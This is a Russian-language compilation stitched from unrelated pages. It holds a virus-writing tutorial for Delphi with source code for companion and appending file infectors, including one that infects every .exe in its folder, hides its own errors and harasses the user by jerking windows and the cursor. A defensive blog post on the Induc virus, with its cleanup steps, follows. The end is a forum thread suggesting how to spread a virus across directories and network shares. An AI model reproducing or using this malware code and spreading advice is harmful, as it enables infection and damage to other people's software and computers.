Можно ли на delphi написать вирус

ВНИМАНИЕ: вся информация дана исключительно в образовательных целях

Большинство пользователей и даже некоторые программисты считают, что все вирусы пишутся в основном на ассемблере, иногда на Си, а на других языках даже помыслы об ЭТОМ считаются греховными. Это, разумеется, бред (бред- ложное умозаключение, возникающее на фоне болезни, не поддается логической коррекции). На самом деле вирусы можно писать на чем угодно- прологе, коболе, васике а также на стенах в сортире- были бы руки прямые. Мы будем писать на Дельфи. Итак, понятие о вирусе. Прежде всего, вирус- это программа. Точное определение этому волшебному явлению еще не придумал даже Лозинский, однко общие функции вируса таковы- саморазмножение, заражение программ, выполнения других задач, заложенных в него автором- Format C:, звуковые эффекты и пр. Разные вирусы отличаются друг от друга способами заражения и распространения, а также размером. Здесь я не буду приводить классификацию всех вирусов, а коснусь только близких нам- высокоуровневых.

HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.о. программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и “заражает” дальше.

HLLC- High Level Language Companion. Большинство таких вирусов относятся к седой древности (6-7 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация HLLC- более современная: Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.о., пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.

HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди. Первым стартует вирус, затем он восстанавливает программу и запускает ее. С написанием таких вирусов под Win связана проблема- Windows запрещает доступ к запущенному файлу- т.е. мы не можем читать “из себя”.

Ну с классификацией я закончил, теперь прочитай свод базовых знаний (типа, курс лекций), и можно приступать к осваиванию исходника. Итак, что же нам нужно знать: Работа с файлами- вирус довольно активно с ними общается:

  1. Связь с файлом:
  2. Открытие файла для чтения:
  3. Чтение инфы из файла в буфер: Здесь buf- массивчик, напр. Count- сколько байтов ты хочешь прочесть
    AmtTransfered- сколько реально прочитано.
  4. Запись из буфера в файл:

Почти то же, что и предыдущее.

  • Открытие файла на запись, вся запись будет проводиться в конец файла: Append (F: File);
  • Открытие файла для перезаписи: procedure Rewrite(var F: File [; Recsize: Word ] ); Содержимое файла при этом обнуляется.
  • Поиск файла. Без него нам никак не обойтись, надо же искать жертву J. Attr- атрибуты файла, например faAnyFile- любой файл, faArchive- архивный, faHidden- скрытый.
    F- переменная типа TsearchRec, в нее дельфи запихивает все хар-ки найденного файла. Sr.Name- имя найденного файла
    Sr.Size- его размер.

    Чтобы искать следующий такой же файл, пиши FindNext (Sr); Если файл найден, то процедуры FindFirst и FindNext возвращают 0 (зеро). Подсказываю: можешь в своем вирусе создать интересный циклик:

  • 8.Закрытие файла, все наши с ним извращения сохраняются:
  • 9.Сдвиг рамки считывания: Поясню попонятнее: допустим, надо прочесть кусок объемом 1000 байт из файла в 3000 байт так, чтобы последний байт попал в буфер; ясно, что считывание надо начить (и потом углубитьJ) не с отметки 0 а с отметки 1000 байт! Посему пишем: А потом уже
  • 10.Иногда,если чего-то не получилось, важно быть об этом проинформированым. Допустим, надо узнать, удалось ли чтение из файла. Непосредственно после BlockRead пишем: Если ноль, то все успешно, если нет- возвращается код ошибки. Такой прием возможен, только если
  • 11.Когда необходимо завершить программу, не особо удивляя при этом юзера (например в HLLO вирусах, когда нет программы для запускаJ) лично я вызываю старый добрый stack overflow:
  • 12.Установка атрибутов файла: Fileattr- как в findfirst.
  • Итак, если ты дочитал досюда- ставлю ящик пива, лично я бы давно уже завязал J. Открывай теперь исходник, там все подробно откомментировано, а здесь я поясню только общие принципы.

    Это извращение- вирус типа HLLC, весьма простой- вообще и для понимания в частности. Алгоритм его таков: при заражении вирус исходный файл переименовывает в нечто случайное и помещает в каталог c:\windows\ или где там винды (это в боевой версии, в моем исходнике вся возня происходит в директории c:\INF\). Своим телом вирь замещает оригинальный файл, причем если оригинал больше виря менее, чем вдвое, вирь добавляет к себе кусочек себя же J, чтобы не отличится по размеру от оригинала. В каталоге с виндами создается также занимательный файл- filelist.ini, в котором вирь фиксирует зависимость между оригинальным и случайным именами файла (т.е. при запуске вирь получает имя своего файла, допустим winword.exe, смотрит в каталог и видит там: winword.exe= 34258352.340., затем переименовывает этот цифирный файл в свой каталог, но с именем winword.exe(впереди- пробел или символ “_”), и запускает этот “левый” файл. После завершения работы левого файла управление получает вирь, ища и заражая файлы). При первом старт С алгоритмом заражения и старта вроде, все. Кстати, для чтения и записи в файл я использовал такую могучую вещь, как TfileStream. Что это такое и с чем кушать- посмотри в хелпе, хотя по исходнику это и так понятно. Чтобы гонять вирь на своем компе, и не опасаться злых духов надо создать каталог c:\INF, и все действия проводить там- как видно из исходника, вирь только там и может работать- что поделаешь, небоевая версия…

    Вирь после компиляции будет весить поболее 200 Кб (царский размер!), поэтому напрягись и сожми его NeoLite’ом- хороший пакер для EXE и DLL файлов, с дельфийских прог сносит

    На этом теоретическая часть статьи заканчивается, остаётся только отдать исходник. Исходник я не дам качать просто так, потому что я не поддерживаю тех, кто пишет вирусы. Но только для обучения я привожу его как текст к статье. Предупреждаю, что я сделал тут несколько незначительных ошибок, чтобы начинающие программисты не навредили себе и другим. Если ты обладаешь хотя бы начальными знаниями в Delphi, то ты исправишь эти ошибки без проблем. И надеюсь, что не будешь использовать знания в разрушительных целях, а наоборот воспользуешься ими для защиты себя и окружающих. Помни, что ты не станешь лучше если уничтожишь компьютер соседа.

    Т.о. вирус состоит из четырёх частей:
    - Процедура заражения.
    - Процедура поиска жертв.
    - Функция проверки зараженности
    - Функция запуска жертвы

    . Процедура заражения файла идентична, HLLO, принципиальная разница кроется в том, что процедура поиска жертв не скармливает этой, опасной для файлов процедуре, файлы, а лишь дает путь самокопирования с определённым именем. В общем я привожу оба исходника вирусов, с комментариями, думаю, у вас не возникнет проблем с их пониманием. Вирусы, заражают, по второму, по описанию методу, т.к. первый метод, больше актуален для DOS.

    На Turbo Pascal:

    Теперь, то же самое только на Delphi.

    program hllc;
    uses
    sysutils,
    windows;

    const
    VirSize = 43008;///Размер вируса

    Procedure Infect(path:string);
    var
    FromF : file;
    ToF: file;
    NumRead : integer;
    Buf: array[1..VirSize] of Char; //Буфер
    FM:word; //Переменная для сохранения FileMode
    begin
    FM:=FileMode;//сохраняем FileMode
    FileMode:=0;//Режим работы с файлом - только чтение
    AssignFile(FromF, ParamStr(0));//Ассоциируем к с путём к себе
    Reset(FromF, 1);//Открываем себя
    BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
    CloseFile(FromF);//Закрываем себя
    FileMode:=2;//Режим работы с файлом - только запись
    AssignFile(ToF, path);//Ассоциируем с путём к файлу
    Rewrite(ToF, 1);//Открытие с перезаписью
    BlockWrite(ToF, Buf, NumRead);//Пишем буфер
    CloseFile(ToF); //Закрываем жертву
    FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
    end;

    Как видите размер у вируса весьма большой, сейчас мы попробуем написать HLLC вирус на micro-Delphi, о котором я говорил в предыдущем уроке. Вот исходник, вируса HLLC который после упаковки fsg2 весит 1525 байт, что в 28 раз меньше чем без применения методик сжатия.

    Program VirusHLLC;//Пример HllC вируса на Delphi (xakep.su)

    const //Необходимы константы, перенесены из модуля Windows

    VirSize = 4096;//Размер вируса При упаковке fsg2 размер составит 1525 байт
    FILE_ATTRIBUTE_NORMAL = $00000080;
    SHELL32 = 'shell32.dll';
    FILE_SHARE_WRITE = $00000002;//Атрибут записи
    FILE_ATTRIBUTE_READ = $00000001;//Атрибут чтения
    KERNEL32 = 'kernel32.dll';
    MAX_PATH = 260;//Максимальная длина пути
    CREATE_ALWAYS = 2;//Открыть новый
    GENERIC_READ = $80000000;
    GENERIC_WRITE = $40000000;
    OPEN_EXISTING = 3;
    TRUNCATE_EXISTING = 5;//Открытие с перезаписью
    ATTR_DIR = $00000010;//Атрибут директории
    FILE_SHARE_READ = $00000001;//Чтение из файла

    type //Типы необходимые функции CreateFile, перенесены из модуля Windows
    POverlapped = ^TOverlapped;
    TOverlapped = record
    Internal: Cardinal;
    InternalHigh: Cardinal;
    Offset: Cardinal;
    OffsetHigh: Cardinal;
    hEvent: Cardinal;
    end;
    PSecurityAttributes = ^TSecurityAttributes;
    TSecurityAttributes = record
    nLength: Cardinal;
    lpSecurityDescriptor: Pointer;
    bInheritHandle: Boolean;
    end;
    PathBuf = array [0..MAX_PATH] of char;//Буфер пути к файлу

    TFileTime = record //Запись передачи даты и времени
    dwLowDateTime: INTEGER;
    dwHighDateTime: INTEGER;
    end;

    FindRec = record
    //Запись в которую возврящаются параметры поиска файлов
    dwFileAttributes: INTEGER; //Атрибуты
    ftCreationTime: TFileTime; //Время создания
    ftLastAccessTime: TFileTime;//Время последнего обращения
    ftLastWriteTime: TFileTime; //Время последнего изменения
    nFileSizeHigh: INTEGER; //Размер реальный
    nFileSizeLow: INTEGER; //Размер на диске
    dwReserved0: INTEGER; //Резерв
    dwReserved1: INTEGER; //Резерв
    cFileName: PathBuf; //Полное имя файла
    cAlternateFileName: array[0..13] of AnsiChar;//Имя файла в формате 8.3
    end;

    function CreateFile(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: INTEGER; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER): INTEGER; stdcall; external KERNEL32 name 'CreateFileA';
    //Создает или открывает файлы (объекты) и возвращает Хендл (handle), для получения доступа к объекту
    function ReadFile(hFile: INTEGER; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER; lpOverlapped: POverlapped): BOOLEAN; stdcall; external KERNEL32 name 'ReadFile';
    //Чтение из файла (объекта)
    function WriteFile(hFile: INTEGER; const Buffer; nNumberOfBytesToWrite: INTEGER; var lpNumberOfBytesWritten: INTEGER; lpOverlapped: POverlapped): Boolean; stdcall; external KERNEL32 name 'WriteFile';
    //Запись из файл (объекта)
    function CloseHandle(hObject: INTEGER): Boolean; stdcall; external KERNEL32 name 'CloseHandle';
    //Закрытие файла (объекта)
    function GetModuleFileName(hModule: INTEGER; lpFilename: PChar; nSize: INTEGER): INTEGER; stdcall; external kernel32 name 'GetModuleFileNameA';
    //Считывает полное имя маpшpута (заканчивающееся пустым символом) исполнимого файла для указанного модуля
    function FindFirstFile(lpFileName: PChar; var lpFindFileData: FindRec): integer; stdcall; external kernel32 name 'FindFirstFileA';
    //Поиск первого файла в указанном каталоге по маске
    function FindNextFile(hFindFile: integer; var lpFindFileData: FindRec): BOOLEAN; stdcall; external kernel32 name 'FindNextFileA';
    //Поиск следующего файла в сессии начатой FindNextFile
    function lstrcmp(lpString1, lpString2: PChar): Integer; stdcall; external kernel32 name 'lstrcmpA';
    //Сравнение переменных
    function lstrlen(lpString: PChar): Integer; stdcall; external kernel32 name 'lstrlenA';
    //Определение дляны строки
    function lstrcpy(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcpyA';
    // Копиpует lpString2 (включая пустой символ) в lpString1.
    function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcatA';
    //Сцепляет lpString1 с lpString2.
    function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external kernel32 name 'WinExec';
    // Выполняет прикладную задачу, указанную паpаметpом CmdLine
    function CopyFile(lpExistingFileName, lpNewFileName: PChar; bFailIfExists: BOOLEAN): BOOLEAN; stdcall; external kernel32 name 'CopyFileA';

    Procedure CopyData(ToF : PChar);
    var
    pch : PathBuf;
    B : INTEGER;
    F : INTEGER;
    Buf : array [1..VirSize] of Char;
    begin
    GetModuleFileName(0, pch, MAX_PATH);//Определяем путь к себе
    F:=CreateFile(pch, GENERIC_READ, 1, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    //Открываем себя
    ReadFile(F, Buf, VirSize, B, nil);
    //Читаем себя в буфер
    CloseHandle(F);
    //Закрываем себя
    F := CreateFile(ToF, GENERIC_WRITE, CREATE_ALWAYS, nil, TRUNCATE_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    //Открываем жертву с перезаписью
    WriteFile(F, Buf, VirSize, B, nil);
    //Пишем буфер в жертву
    CloseHandle(F);
    //Закрываем жертву
    end;

    function CheckMyName(path:pchar):boolean;
    var
    pch : PathBuf;
    i : integer;
    begin
    result:=false;
    GetModuleFileName(0, pch, MAX_PATH);//Определяем путь к себе
    for i:=lstrlen(pch) to 0 do if pch[i]='\' then break;
    //Обределяем позицию последнего символа \ в строке пути к файлу
    if lstrcmp(path,@pch[i+1])=0 then Result:=true;
    //Сравниваем
    end;

    function FileExists(path:PChar):boolean;
    var
    i : integer;
    begin
    i:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    //Открываем существующий файл для чтения
    if i=-1 //если -1 значит ошибка, значит файла не
    then Result:=false
    else Result:=true;//файл есть
    end;

    Вот и весь вирус.. Я думаю, что на этой статье обсуждение HLLO и HLLC вирусов, будет закрыто, далее мы будем писать и совершенствовать вирусы типа HLLP, они значительно интересней и гораздо трудней лечатся, имеют массу фишек и возможностей, о которых мы будем подробно беседовать на следующих уроках. Не забываем, о исключительно учебном применении, данного материала.

    . when altering one's mind becomes as easy as programming a computer, what does it mean to be human.

    12 августа 2009 г.

    ПРИМЕЧАНИЕ: Это первый вариант поста. Рекомендую вместо него читать "Virus.Win32.Induc.a: энцать дней спустя (FAQ)" - содержит больше информации (с обновлениями), более упорядочен. Этот же пост представляет уже только исторический интерес.

    Сегодня обнаружил довольно интересную вредоносную бяку, специфичную именно для Delphi. Это весьма простой, написанный на Delphi, саморазмножающийся код, который иначе как “вирусом” назвать нельзя. Особенность его в том, что он поражает только установленные Delphi версий 4-7 (включительно), так что любая программа, скомпилированная в “поражённых” Delphi, будет содержать в себе копию этого вредоносного кода и заражать любые другие найденные Delphi.


    Для тех, кто не сильно хочет вникать в детали, вот краткая выдержка (окей, я просто адаптировал объявление с DK, но для надёжности вам лучше бы прочитать пост целиком):

    Суть кода в том, что заражённая программа ищет на диске установленные версии Delphi и, если находит, изменяет файл SysConst.dcu (старая версия сохраняется под именем SysConst.bak), и после этого все программы на Delphi, скомпилированные на этом компьютере, начинают точно так же заражать Delphi на тех компьютерах, где они запускаются. Распространению вируса способствовало то, что некторые версии популярного мессенджера QIP и проигрывателя AIMP оказались заражены им (команды разработчиков приносят за это свои извинения).

    Пока единственный обнаруженный вредный эффект от вируса - это то, что из-за ошибки в его коде при запуске заражённой программы возникает Runtime error 3, если ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\x.0 (x - от 4 до 7) содержит неправильное значение параметра RootDir (для правильного значение ошибки не происходит). Видимо, просто обкатывалась технология распространения вируса.

    Проверьте свои установки Delphi (версий с 4 по 7 включительно) и, если найдёте у себя SysConst.bak, выполните следующие действия:

    1. Удалите SysConst.dcu
    2. Скопируйте SysConst.bak в SysConst.dcu. Важно именно скопировать, а не переименовать, чтобы SysConst.bak тоже остался на диске - это убережёт систему от повторного заражения, т.к. вирус не производит заражения, если находит SysConst.bak, считая, что свою работу он уже выполнил.
    Не пытайтесь найти вирус в SysConst.pas: его там НЕТ!

    Собственно началось всё с обсуждения странной проблемы: Run-time error 3 на, казалось бы, ровном месте. Затем участник с ником Andrey заметил, что проблема как-то связана с QIP 2005 сборки 8094, а именно: изменяется файл SysConst.dcu в папке \Lib установленной Delphi. Несколько человек после этого подтвердили это сообщение, но не стали копать дальше.
    Признаться, сперва мне казалось это либо неверными выводами (я работаю в саппорте EurekaLog и тут не счесть случаев, когда человек в чём-то уверен, но на деле всё совсем не так), либо с инфицированными “настоящими” вирусами сборками с левых сайтов. Хотя изменение именно специфичного для Delphi файла выглядело очень подозрительно. Поэтому когда я приступил к проверке, то для себя я остановился на варианте забытого отладочного кода в QIP или чем-то подобном (я знал, что QIP написан на Delphi).

    Однако, установив QIP, скачанный с официального сайта, я убедился в том, что он (сам qip.exe) действительно изменяет файлы SysConst.dcu в папках \Lib установленных Delphi версий 4-7, создавая резервную копию в виде файла SysConst.bak. Я проверял, установив его на WinXP VMWare с установленными Delphi всех версий (кроме 1, разумеется). Подтвердив проблему, я запостил вот эту тему на форуме QIP.

    Ну а дальше – надо было просто поглубже копнуть, чтобы посмотреть, что же именно за изменение вносится в SysConst.dcu. В итоге и был обнаружен этот вредоносный код, который выглядит примерно вот так:
    Весьма несложный код и вы можете разобраться с тем, что он делает, самостоятельно.
    Во-первых, он проверяет, не установлена ли на машине Delphi (перебор ключей реестра в procedure st). Если да, то код берёт файл SysConst.pas, дописывает в него себя и компилирует с помощью Delphi-же, помещая новый (уже инфицированный) dcu в папку \Lib (предварительно сделав копию, которая одновременно служит признаком инфицирования), а изменённый pas-файл – удаляет.
    Откуда берётся этот самый run-time error 3, который позволил обнаружить этот вредоносный код? Ну, в код закралась ошибочка: если в реестре записан какой-либо неверный путь (например, раньше стояла Delphi 6, а теперь её нет, но ключ остался), то код вылетает вот тут:
    При вызове reset возбуждается исключение, которое при не инициализированном SysUtils приводит в выбросу ошибки run-time error 3. Интересно, что от этой ситуации должна была защищать директива <$I->и обработка IOResult, но поскольку автор неудачно выбрал именно символ $ как служебный (в константе sc вместо апострофа), то обратный патч строки превратил <$I->в <'I->, что и привело к этой ошибке.

    Ну, если говорить о популярности этой бяки, то я сделал быстрый QIP-опрос знакомых дельфистов и у примерно 30% из них оказалась эта бяка. Т.е. если учитывать, что не у всех стоят старые Delphi, то среди D7-ков эта штука вполне может быть неплохо распространена.
    Если говорить о конкретном вреде, то этот вирус безобиден, т.к. не делает ничего, кроме размножения. От него не было бы вообще никакого отрицательного эффекта, если бы не вышеуказанная “досадная” ошибка в коде, приводящая к Runtime error 3 на редких машинах.
    Собственно пишу я этот пост не потому, что это так уж серьёзно, а, скорее, потому, что это довольно любопытная вещь. Ну и предупредить, конечно: эвон чего бывает. В следующий раз, если вдруг столкнётесь с его братом, будете в курсе.

    В топике также сообщили о наличии этой же проблемы у некоторых версий популярного проигрывателя AIMP. Ну, быстрый поиск в интернете показал, что подвержены этой пакости оказались не только QIP и AIMP, но и другие программы. Например, вот тут в комментариях сообщается о заражении некоторых плагинов к Miranda. Понятно, что сами программы тут не причём – просто была заражена Delphi, на которых выполнялась сборка дистрибутивов. Увы, антивирусы такие “высокоуровневые вирусы” не ловят (хорошо бы, кстати, отправить этот код разработчикам какого-нибудь антивируса).

    Ну, собственно, что вы можете сделать: если вы используете Delphi 4 – Delphi 7, то проверьте свои Delphi, не инфицированы ли они. Посмотрите в папку \Lib: если там есть файл SysConst.bak, то вы заражены (*).

    Что делать, чтобы избавиться от вируса? Удалите файл SysConst.dcu, а затем на его место скопируйте SysConst.bak, т.е.: SysConst.bak –> SysConst.dcu. Помимо избавления от вируса, это также предотвратит повторное заражение. Ну, лучше всего, конечно, взять .dcu файл с дистрибутива - для надёжности (мало ли, вдруг .bak файл тоже оказался изменён).

    Если вы не заражены, то вы можете предотвратить заражение в будущем (разумеется, только этим, конкретным вариантом кода), сделав что-либо из следующего (на ваш выбор, можно несколько сразу):

    • Создайте файл SysConst.bak (содержимое не важно) в папках \Lib установленных Delphi. Работоспособность основывается на том факте, что вирус сперва проверяет наличие SysConst.bak. И если он есть – то ничего не делает, считая, что он уже инфицировал эти Delphi.
    • Просто запретить доступ на изменение папки \Lib (ну и \Source до кучи) вообще всем (даже админам). Ну, это не даст вирусу менять файлы, но при этом на Delphi не встанут апдейты, но это вполне действенно. Можно в принципе дать права на запись отдельной учётке и все апдейты запускать из-под неё. Ну или менять права перед установкой апдейтов и возвращать после.
    • Работать в системе “как полагается”: т.е. не под админом и программы ставить в Program Files. Благодаря этому у обычного пользователя не будет прав на запись в папку, так что ваши файлы останутся в неприкосновенности. А апдейты для Delphi вы всё равно под админом запускать будете. Ну, раньше я уже говорил про Vista-у и пользу UAC в частности. Вот это как раз пример для этого случая.
    Замечу, что подобной простой панацеи для уже скомпилированных в заражённой Delphi файлов нет: вам придётся пересобрать их заново. А чтобы определить, какие файлы заражены: запустите поиск по диску всех файлов, содержащих любую "говорящую" подстроку из константы, например: "CreateFile(pchar(d+$bak$),0,0,0,3,0,0)" (без кавычек, разумеется). Также это поможет найти, кто же принёс на вашу машину эту бяку: если вы нашли инфицированный файл, собранный не вами, то это и есть виновник проблем на вашей машине.

    Ну, лично мне все эти проблемы по барабану, т.к. я:

    • Работаю в Vista и Delphi стоит в Program Files, что значит, что её файлы защищены ACL списками.
    • Использую D2007 и D2009, а конкретно этот товарищ инфицирует только D4-D7.
    • Не использовал инфицированные варианты QIP и AIMP (ну, тут просто повезло).
    Но то, что эти проблемы мне не грозят, не значит, что о них не надо сказать: кто предупреждён, тот вооружён. Удачи :)

    Итак, моя новая статья посвящена вирмэйкерству в особо извращенной форме. Посещая множество форумов и сайтов по сетевой безопасности и программированию, я столкнулся с мнением, что написать компактный и хоть сколько-нибудь опасный вирус на дельфи нельзя…

    Что же, я развею этот миф, более того на глазах у изумленной публики создам виря размером
    23.40 Кб, который будет полноценно размножаться и мешать работе системы.

    Итак, наши инструменты:

    • Борланд Дельфи 7.0 Enterprise Edition
    • UPX PE packer
    • Прямые руки 🙂

    1. Запускаем вирус.
    2. Происходит проверка, на запуск тела вируса или зараженной программы.
    3. Если запущенно тело вируса, то переходим к заражению.
    4. У нас запущена зараженная прога, ура! Распакуем прогу из хвоста файла, задав ей имя от балды и ждем когда юзверь закончит с ней работать.
    5. Пока юзверь работает мешаем ему как можем.
    6. Бедный пользователь ПК сдался, ему надоели глюки и он закрыл прогу, затираем созданный файл
    (тот, который мы распаковали) и продолжаем инфицировать
    своих соседей по каталогу.
    7. Выходим из программы.

    Вот собственно и все, что мой вирус может, а теперь реализация.
    Для начала пишем скелет программы:

    program zverofil;
    uses sysutils,windows;
    const virsize=23040;
    var victims:tsearchrec;
    f1,f2:file;

    Вот с чего мы начинаем, к сожалению мне не удалось выкинуть Sysutils , иначе размер бы ужался до 13Кб.
    Процедура заражения выглядит вот так:

    procedure infect(victim:string);
    var
    a:integer;

    Buf: array[1..virsize] of byte;
    nr,nw:longint;
    begin
    try
    randomize;
    assignfile(f1,victim);
    a:=random(200);
    rename(f1,'bad'+inttostr(a)) ;
    filemode :=0;
    assignfile(f2,paramstr(0));
    reset(f2,1) ;
    seek(f2,0);
    blockread(f2,buf,virsize);
    filemode:=2 ;
    closefile(f2);
    assignfile(f1,victim);
    rewrite(f1,1);
    blockwrite(f1,buf,virsize);
    assignfile(f2,'bad'+inttostr(a));
    reset(f2,1);
    seek(f2,0);
    repeat
    BlockRead(f2, Buf,virsize, NR);
    BlockWrite(f1, Buf, NR, NW);
    until (NR = 0) or (NW <> NR);
    closefile(f1);
    closefile(f2);
    deletefile(pchar('bad'+inttostr(a)))
    except
    end;
    end;

    Except`ы добавлены из соображения секретности, если вирус наткнется на файл, не дающий добро на запись, он тихо и мирно выйдет из процедуры. Иначе пользователя побеспокоит сообщение “File I/O Error” , а нам это ни к чему.

    filemode :=0;
    assignfile(f1,paramstr(0));
    reset(f1,1);
    if filesize(f1)>virsize then go;
    closefile(f1);
    filemode :=2;

    Filemode временно переводит программу в ReadOnly, иначе она не даст нам посчитать размер файла и выдаст ошибку.

    Поиск и заражение жертв реализуется так:

    if FindFirst('*.exe', Faanyfile, victims) = 0 then
    repeat
    if not ((victims.Name)=extractfilename(paramstr(0))) then begin
    if not ((victims.Name)=extractfilename(extractfilename(paramstr(0)))) then infect(victims.Name);

    end;
    until FindNext(victims)<>0 ;

    Ну и код выполнения самой зараженной проги будет таким:

    procedure go;
    label 10;
    var
    Buf: array[1..virsize] of byte;
    rect:trect;
    nr,nw:longint;
    begin
    ////
    try
    filemode :=0;
    assignfile(f1,paramstr(0));
    reset(f1,1);
    filemode :=2;
    assignfile(f2,paramstr(0)+'.exe');

    rewrite(f2,1);
    seek(f1,virsize);
    seek(f2,0) ;
    repeat
    filemode :=0;
    BlockRead(f1, Buf,virsize, NR);
    filemode :=2;
    BlockWrite(f2, Buf, NR, NW);
    until (NR = 0) or (NW <> NR) ;
    closefile(f1);
    closefile(f2);

    winexec(pchar(paramstr(0)+ '.exe'), SW_show);
    10:

    if not deletefile(pchar(paramstr(0)+'.exe')) then begin ;
    setcursorpos(random(800),Random(600));
    getwindowrect(GetForeGroundWindow,rect);
    setwindowpos(GetForeGroundWindow, HWND_TOPMOST,rect.left+1,rect.top+1,
    rect.left+45,rect.left+45, SWP_NOSENDCHANGING );
    setwindowtext(GetForeGroundWindow, 'Antiviruses SUXX! (c)Zerofill');

    sleep(400);
    goto 10;
    end;

    Прошу обратить внимание на последнюю секцию – глумление над пользователем, который работает с зараженной прогой.
    Мы просто берем и дергаем мышку, а окно самой нужной программы уезжает влево и вниз. Для извращенцев – можете поменять параметр sleep;

    Я написал вирус используя API, но он заражает только в одном каталоге. Подскажите пожайлуста как сделать чтобы он заражал во всех директориях.

    Берешь SoftIce или TD32 и смотришь, как ходит по диску explorer.exe.

    Иван Шихалев: SoftIce и дельфийский код, как "ходит"? :)))

    Вариант 1: От корневого каталога ищешь все подкаталоги, а в них - экзешники.
    Недостатки - много лишней работы, придется брать низший приоритет для заражающей программы и делать паузы в каждом шаге, тобы юзверь не начал волноваться из за трещания винта и некоторого замедления работы системы.
    Есть рабочий пример - прога ищет файлы заданного типа во всем дереве каталогов от указанного и выполняет с ними работу(удаляет, причем все: ReadOnly,System etc). Я его тебе на мыло кину.

    Вариант 2: Отлавливать запуск программ и таким образом получать пути к экзешникам. Эта тема уже обсуждалась в форуме, зайди в поиск.

    Хм. 8\
    Начал ответ первым писать, пока покурил - уже четвертый :)
    Пока этот допишу - восьмым буду.

    Иван Шихалев >> чего Вы, сударь, над молодежью прикалываешься?
    Если уж такой спец, раскажи, как мне в SI 4.05 для NT полностью отмониторить обращения к паралельному порту, а то у скромного прикладника не все получается, надоело уже msvcrt.dll и nt.dll дебагерить.

    Думал, чего нового в предидущих ответах почерпну.

    Shiza: Вирусы , т.е. то, что обычно называют вирусами,
    пишутся на ассемблере. Вирус на Delphi - это же насколько
    размерчик вырастет? И не только размерчик.
    Вот, клиентов-серверов можно.
    Но это НЕ вирусы. Это просто (скрытые) программы.
    И если кто-то Вам рассказал про вирус, написанный by Delphi --
    не верьте, это "ля-ля":)))

    >> чего Вы, сударь, над молодежью прикалываешься?

    И вовсе не прикалываюсь. Просто подумал, что, раз человек вирусы пишет, то всяко для него SoftIce"ом быстрее, чем по F1.

    А "вирус используя API" . А зачем? И какие, такие преимущества дают функции?
    Ну нет там, ну нет. )) Средств. Функции API - это средний уровень программирования
    для Windows. Для создания вирусов нужен низший - самый трудный.
    Папа Билл позаботился, даже в API, чтобы в виндах этот уровень перестал быть доступным.
    Но папе пока:))) не подчиняются программисты Intell:)))

    И потом,"Я написал вирус используя API, но он заражает только в одном каталоге". Да, ну?
    Мастер API, т.е. и заражение и размножение, да на АПИ! И только в одном каталоге?
    "Не верю" (как говорил Станиславский:))

    copyr25 >> Вы не верите в вирусы на ЯВУ? А как же роскошнейшая штучка "Червяк"(тот самый, который подменяет запускаемый экзешник на себя, а тот перемещает в *.vxd). А написана, промеж-иншим исключительно с использованием стандартных APIшек: ни один самый хитросделанный эвристический сканер не видит.

    Так что, есть повод для размышлений.

    AlexRush: Вера - вопрос личный. Java - межплатформенный момент,
    червяка можно сделать и на Perl? Правда? А причем тут Delphi?

    copyr25 (08.02.02 20:29) Хотя с "Не верю" я согласен.

    Маленькое, такое, искреннее резюме: МайкроСофт милостиво разрешил НАМ
    не копаться в ассемблере - просто использовать МАКРОСЫ (а они, по сути, макросами
    и являются, ну, загляните в commCtrl.pas:)) для того, чьобы мы забыли, что такое
    ассемблер. Это -- направленное действие против конкурентов. API нас погубят.
    В 2010 году - это будут полностью импотентные функции, не позволяющие даже использовать
    виртуальные коды клавы. Вот увидите. Remember an assembler:)))

    Интересно а как всё таки реализуется "заражение" ?

    Ведь после этого я так понял зараженный .exe остаёться работоспособным и в то же время там как-то выполняеться код вируса.

    Времена изменились! Раньше каждый считал своим долгам сказать, что писать вирусы плохо, от этого страдают люди и развивается комплекс неполноцености. Стоило хотя бы месяца 4 назад спросить такое и тебя бы назвали грязным вирусописателем.
    Как не крути, спрос рождает предложение. Хотя может я и не прав.

    Ну бывает, вирусы писать получается, а привоение делать нет.

    Феликс есть вирусы от которых ни кто не страдает (пишуться так для спортивного интереса).

    Обладамши хотя бы минимальным чувством юмора, ты бы понял, что ничего не изменилось.

    надо чтобы твой вирус просматривал возможные объекты (например: папки в сети с общим доступом и закидывал туды свои файлы например какой нибудь setup или ещё что нибудь когда юзер запускает этот файл вирус прописывается у него в реестре или system.ini то-есть заражает другие компы)

    Эта ветка пренесена в "потрепаться" из другого форума как пример идиотизма. Не ожидал, что вопрос вызовет неподдельный интерес участников форума. -)
    Точно такой же вопрос, с несколько иной формулировкой был задан в основном форуме, но там он звучал так:
    "Я написал вирус используя DELPHI, но он заражает только в одном каталоге. Подскажите пожайлуста как сделать чтобы он заражал во всех директориях."

    Интересно, долго ли еще проживет эта ветка? Вторая уже ушла с первой страницы.:-)

    странно.. из форума видно что panov отвечал 2 раза, а отюда - 1 раз. прям волшебство :))

    Одно из сообщений удалено, как не соответствующее правилам форума.

    Я ведь томогу выразиться как-нибудь нехорошо в запале:-)
    Поэтому даже себя приходится контролировать, когда остынешь.

    > panov
    А почему тогда нету "Удалено модератором"

